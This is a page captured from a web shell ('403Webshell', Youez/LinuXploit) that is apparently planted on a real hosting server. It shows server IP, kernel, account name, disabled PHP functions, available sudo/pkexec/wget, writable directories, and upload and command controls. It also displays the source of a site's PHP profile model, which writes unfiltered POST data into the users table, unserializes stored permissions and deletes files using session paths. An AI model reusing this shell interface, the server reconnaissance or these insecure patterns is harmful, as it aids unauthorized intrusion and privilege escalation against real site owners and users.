403Webshell
Server IP : 23.111.136.34  /  Your IP : 216.73.216.136
Web Server : Apache
System : Linux servidor.eurohost.com.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : meusitei ( 1072)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, proc_open
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/meusitei/public_html/controle/apagar/models/profile/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/meusitei/public_html/controle/apagar/models/profile/profile-model.php
<?php 
/**
 * Classe para registros de usuários
 *
 * @package TutsupMVC
 * @since 0.1
 */

class ProfileModel
{

	/**
	 * $form_data
	 *
	 * Os dados do formulário de envio.
	 *
	 * @access public
	 */	
	public $form_data;

	/**
	 * $form_msg
	 *
	 * As mensagens de feedback para o usuário.
	 *
	 * @access public
	 */	
	public $form_msg;

	/**
	 * $db
	 *
	 * O objeto da nossa conexão PDO
	 *
	 * @access public
	 */
	public $db;

	/**
	 * Construtor
	 * 
	 * Carrega  o DB.
	 *
	 * @since 0.1
	 * @access public
	 */
	public function __construct( $db = false ) {
		$this->db = $db;
	}

	public function get_profile ( $user_id = false ) {
	
		// O ID de usuário que vamos pesquisar
		$s_user_id = false;
		
		// Verifica se você enviou algum ID para o método
		if ( ! empty( $user_id ) ) {
			$s_user_id = (int)$user_id;
                        
		}
		
		// Verifica se existe um ID de usuário  Se não existir ele entende que é o seu próprio perfil!
		if ( empty( $s_user_id ) ) {
                    $s_user_id = $_SESSION['userdata']['user_id'];
			
		}
		
		// Verifica na base de dados
		$query = $this->db->query('SELECT * FROM `users` WHERE `user_id` = ?', array( $s_user_id ));
		
		// Verifica a consulta
		if ( ! $query ) {
						$this->form_msg = '
                                                 <script type="text/javascript">
                                                    $(document).ready(function(){
                                                        $.gritter.add({ 
                                                            title: "Erro Interno!",
                                                            text: "Usuário não existe!",
                                                            class_name: "danger"
                                                         });                                                         
                                                      });
                                                 </script>';  
			return;
		}
		
		// Obtém os dados da consulta
		$fetch_userdata = $query->fetch();
		
		// Verifica se os dados da consulta estão vazios
		if ( empty( $fetch_userdata ) ) {
						$this->form_msg = '
                                                 <script type="text/javascript">
                                                    $(document).ready(function(){
                                                        $.gritter.add({ 
                                                            title: "Erro Interno!",
                                                            text: "Usuário não existe!",
                                                            class_name: "danger"
                                                         });                                                         
                                                      });
                                                 </script>';  
			return;
		}
		
                // Configura os dados do formulário
		foreach ( $fetch_userdata as $key => $value ) {
			$this->form_data[$key] = $value;
		}
		
		// Por questões de segurança, a senha só poderá ser atualizada
		$this->form_data['user_password'] = null;
		
		// Remove a serialização das permissões
		$this->form_data['user_permissions'] = unserialize($this->form_data['user_permissions']);
		
		// Separa as permissões por vírgula
		$this->form_data['user_permissions'] = implode(',', $this->form_data['user_permissions']);
		
	} // get_register_form
        
     public function  atualizar_perfil( $user_id){
         if ( 'POST' == $_SERVER['REQUEST_METHOD'] && ! empty ( $_POST ) ) {                                                  
             $query = $this->db->update('users', 'user_id', $user_id, $_POST);
                $user_name = explode(' ',$_SESSION['userdata']['user_name']);
                $logger = $this->db->insert('logger', array('desc' => "Atualizou os Dados do Perfil",'tipo' => "2",'id_user'=>$_SESSION['userdata']['user_id'],'user_name'=>$user_name[0],'time'=>time(),'link'=>HOME_URI.'tarefas'));		
			if ( ! $query ) {
							$this->form_msg = '
                                                 <script type="text/javascript">
                                                    $(document).ready(function(){
                                                        $.gritter.add({ 
                                                            title: "Erro Interno!",
                                                            text: "Ocorreu um erro interno Durante o processamento do Banco de dados!",
                                                            class_name: "danger"
                                                         });                                                         
                                                      });
                                                 </script>';  
				
				// Termina
                                                            
			return;
			}else {
					$this->form_msg = '
                                                 <script type="text/javascript">
                                                    $(document).ready(function(){
                                                        $.gritter.add({ 
                                                            title: "Sucesso!",
                                                            text: "Usuário atualizado com sucesso !",
                                                            class_name: "success"
                                                         });                                                         
                                                      });
                                                 </script>';  
				
				// Termina
				return;
			}
             
         }
         
     }

          public function insere_foto($id,$img){
            
            //echo "ok";
		// O ID do usuário
		$user_id = $id;		
                $imagem = $img;
                //APAGAR FOTO
               $apaga_foto = 'views/_uploads/usuarios/'.$_SESSION['userdata']['user'].'/img/files/'.$_SESSION['userdata']['foto'];
               $apaga_foto_t = 'views/_uploads/usuarios/'.$_SESSION['userdata']['user'].'/img/files/thumbnail/'.$_SESSION['userdata']['foto'];                
               unlink($apaga_foto);unlink($apaga_foto_t);
                
                //altera a foto da sessão
                $_SESSION['userdata']['foto'] = $imagem;
                // Atualiza os dados			                        
                $query = $this->db->update('users', 'user_id', $user_id, array('foto' => $imagem));
                $user_name = explode(' ',$_SESSION['userdata']['user_name']);
                $logger = $this->db->insert('logger', array('desc' => "Inseriu uma nova foto ao Perfil!",'tipo' => "2",'id_user'=>$_SESSION['userdata']['user_id'],'user_name'=>$user_name[0],'time'=>time(),'link'=>HOME_URI.'tarefas'));		
		
          
		
        }
        
        public function altera_lang($lang){
            $_SESSION['userdata']['lang'] = $lang;
                // Atualiza os dados		
            
            $query = $this->db->update('users', 'user_id', $_SESSION['userdata']['user_id'], array('lang' => $lang));
            echo $lang;
            
        }
        
}

Youez - 2016 - github.com/yon3zu
LinuXploit